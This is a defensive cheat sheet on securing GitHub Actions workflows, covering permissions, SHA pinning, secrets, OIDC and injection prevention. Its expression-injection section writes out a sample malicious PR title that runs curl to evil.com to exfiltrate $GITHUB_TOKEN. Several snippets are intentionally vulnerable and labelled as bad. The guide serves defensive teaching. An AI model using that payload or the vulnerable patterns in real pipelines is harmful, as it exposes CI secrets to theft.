GitHub Actions Security Cheat Sheet: Permissions, Pinning, Secrets, and OIDC

1. Permissions — Principle of Least Privilege

The single highest-impact change you can make to any GitHub Actions workflow is locking down permissions. By default, GITHUB_TOKEN has read and write access to most scopes. Override that immediately.

Default Read-Only Permissions (Top-Level)

Place this at the top of every workflow file to make read-only the default for all jobs:

# .github/workflows/ci.yml
name: CI
on: [push, pull_request]

permissions: read-all

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

Empty Permissions (Zero Access)

For jobs that never touch GitHub APIs or the repo, drop all permissions entirely:

jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {}
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

Why this works: actions/checkout uses the token for private repos but falls back to anonymous clone for public ones. If your repo is public, permissions: {} is safe for checkout.

Per-Job Permission Recipes

Grant only what each job needs:

# Checkout only (private repo)
jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

# Deploy to GitHub Pages
jobs:
  deploy-pages:
    permissions:
      pages: write
      id-token: write
    runs-on: ubuntu-latest

# Push to GitHub Container Registry (GHCR)
jobs:
  push-image:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest

# Create a GitHub Release
jobs:
  release:
    permissions:
      contents: write
    runs-on: ubuntu-latest

# Comment on a Pull Request
jobs:
  comment:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest

Rule of thumb: Start with permissions: {} and add scopes one at a time until the job passes. Never leave the default read-write in place.

2. Action Pinning — Stop Using Tags

Tags like @v4 are mutable. An attacker who compromises a popular action can move the tag to a malicious commit. Pin every third-party action to a full SHA.

Pinned vs. Unpinned

# DANGEROUS — tag can be moved to any commit
- uses: actions/checkout@v4

# SAFE — immutable commit reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

The trailing comment preserves readability while the SHA locks the exact code you audit.

Finding the SHA for Any Action

# Get the full SHA for a specific tag
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1

# Or use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'

Automate Updates with Dependabot

Pinning by SHA doesn’t mean you stop updating. Let Dependabot propose version bumps automatically:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: "/"
    schedule:
      interval: weekly
    commit-message:
      prefix: "ci"
    reviewers:
      - "your-org/security-team"
    labels:
      - "dependencies"
      - "ci"

Dependabot understands SHA pins. It will update the SHA and the comment tag in one PR.

3. Secrets Management

GitHub offers three secret scopes. Choose the right one to minimize blast radius.

Secret Scopes Comparison

Scope Visibility Best For
Repository All workflows in one repo Repo-specific API keys, tokens
Environment Jobs targeting that environment only Production credentials, deploy keys
Organization Selected repos across the org Shared service accounts, registry creds

Environment Protection Rules

Environments let you gate deployments behind approvals, wait timers, and branch restrictions:

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Deploy
        run: ./deploy.sh
        env:
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}

Then configure the production environment in Settings → Environments with:

  • Required reviewers (at least 1)
  • Wait timer (e.g., 5 minutes)
  • Deployment branch restriction: main only

The pull_request vs pull_request_target Danger Zone

This is one of the most dangerous misunderstandings in GitHub Actions:

Trigger Code checked out Secrets available? Risk
pull_request PR merge commit No (forks) Low
pull_request_target Base branch Yes Critical if you checkout PR code

Never do this:

# CRITICAL VULNERABILITY — secrets exposed to fork PR code
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out UNTRUSTED fork code
      - run: ./build.sh  # Runs attacker-controlled code WITH secrets

If you need pull_request_target, never check out the PR head. Only use it for labeling or commenting on the base branch code.

4. OIDC / Workload Identity Federation

Stop storing long-lived cloud credentials as secrets. Use OpenID Connect to get short-lived tokens directly from your cloud provider.

Required permissions block for all OIDC workflows:

permissions:
  id-token: write   # Required to request the OIDC JWT
  contents: read    # Required for actions/checkout

AWS — Configure OIDC

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

AWS Trust Policy Template:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

GCP — Workload Identity Federation

- name: Authenticate to Google Cloud
  uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
  with:
    workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
    service_account: github-actions@my-project.iam.gserviceaccount.com

Azure — Federated Credentials

- name: Azure Login
  uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
  with:
    client-id: ${{ secrets.AZURE_CLIENT_ID }}
    tenant-id: ${{ secrets.AZURE_TENANT_ID }}
    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Key benefit: No static credentials stored anywhere. Tokens expire in minutes. The trust policy restricts which repos, branches, and environments can assume the role.

5. Workflow Triggers — Safe vs. Dangerous

Not all triggers are created equal. Some execute code from untrusted sources or grant elevated permissions.

Trigger Safety Table

Trigger Risk Level Notes
push Low Only runs code already merged
pull_request Low No secrets for forks
schedule Low Runs on default branch
workflow_dispatch Medium Manual trigger — validate inputs
pull_request_target High Secrets available — see Section 3
issue_comment High Any commenter can trigger — gate with permissions checks
workflow_run High Inherits elevated context from triggering workflow

Branch and Path Filtering

Reduce unnecessary runs and limit exposure:

on:
  push:
    branches:
      - main
      - 'releases/**'
    paths:
      - 'src/**'
      - 'package.json'
    paths-ignore:
      - 'docs/**'
      - '*.md'

Concurrency Control

Prevent multiple deployments from racing each other:

concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false  # Don't cancel in-flight deploys

# For PR builds where canceling old runs is safe:
concurrency:
  group: ci-${{ github.event.pull_request.number || github.sha }}
  cancel-in-progress: true

6. Third-Party Action Safety

Every uses: line in your workflow is a supply chain dependency. Treat it like any other dependency.

Audit Checklist

Before adopting any third-party action, verify:

  • Publisher: Is it from a verified creator or a known org (e.g., actions/*, aws-actions/*)?
  • Source code: Have you read the action.yml and entrypoint script?
  • Permissions: Does it request more than it needs?
  • Stars / usage: Low-usage actions are higher risk.
  • Maintenance: When was the last commit? Are issues addressed?
  • Dependencies: Does it pull in a massive node_modules tree?

Fork Critical Actions

For actions that run in sensitive pipelines, fork them into your org:

# Instead of:
- uses: some-random-org/deploy-action@v2

# Fork and pin:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Set up a scheduled workflow to sync your fork and review diffs before merging upstream changes.

CODEOWNERS for Workflow Files

Require security team review for any workflow changes:

# .github/CODEOWNERS
.github/workflows/   @your-org/security-team
.github/actions/      @your-org/security-team

Combine with branch protection rules requiring CODEOWNERS approval to make this enforceable.

7. Expression Injection Prevention

GitHub Actions expressions (${{ }}) are template-expanded before the shell sees them. If an attacker controls the value, they control your shell.

The Dangerous Pattern

# VULNERABLE — attacker controls the PR title
- name: Echo PR title
  run: echo "PR: ${{ github.event.pull_request.title }}"

A malicious PR title like Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # breaks out of the echo and exfiltrates your token.

Dangerous contexts that accept user input:

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (branch name from forks)

The Safe Alternative — Environment Variables

# SAFE — value is passed as an environment variable, not injected into the script
- name: Echo PR title
  run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

When the value flows through an environment variable, the shell treats it as data, not code. This is the fix for every expression injection.

Safe Use in Conditionals

Expressions in if: conditions are safe because they are evaluated by the Actions runtime, not the shell:

# SAFE — evaluated by Actions runtime, not shell
- name: Check label
  if: contains(github.event.pull_request.labels.*.name, 'deploy')
  run: echo "Deploy label found"

8. Common Mistakes — Top 5 With Fixes

Mistake 1: Default (Over-Permissive) Token Permissions

# BAD — implicit read-write on everything
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

# FIXED — explicit read-only default
on: push
permissions: read-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

Mistake 2: Using Mutable Tags for Actions

# BAD
- uses: actions/setup-node@v4

# FIXED
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

Mistake 3: Long-Lived Cloud Credentials as Secrets

# BAD — static AWS keys that never expire
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# FIXED — OIDC federation, no stored credentials
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

Mistake 4: Checking Out PR Code in pull_request_target

# BAD — runs untrusted code with secrets
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: make build

# FIXED — use pull_request trigger (no secrets for forks)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: make build

Mistake 5: Expression Injection via run:

# BAD — direct interpolation of user input
- run: echo "Issue: ${{ github.event.issue.title }}"

# FIXED — pass through environment variable
- run: echo "Issue: $ISSUE_TITLE"
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}

Quick Reference Card

Practice One-Liner
Default permissions permissions: read-all at workflow top
Pin actions Use full 40-char SHA + comment tag
Auto-update pins Dependabot with github-actions ecosystem
Cloud auth OIDC federation, never static keys
Protect secrets Environment scopes + protection rules
Prevent injection Always use env: for user-controlled values
Review workflows CODEOWNERS on .github/workflows/
Fork risky triggers Avoid pull_request_target + checkout

Applying even half of these practices puts your CI/CD pipeline ahead of most organizations. Start with permissions and pinning — they take five minutes and eliminate entire classes of supply chain attacks. Then work through OIDC federation and expression injection prevention to close the remaining gaps.

For hands-on practice, explore our CI/CD Security labs and GitHub Actions guides to see these patterns applied in real-world scenarios.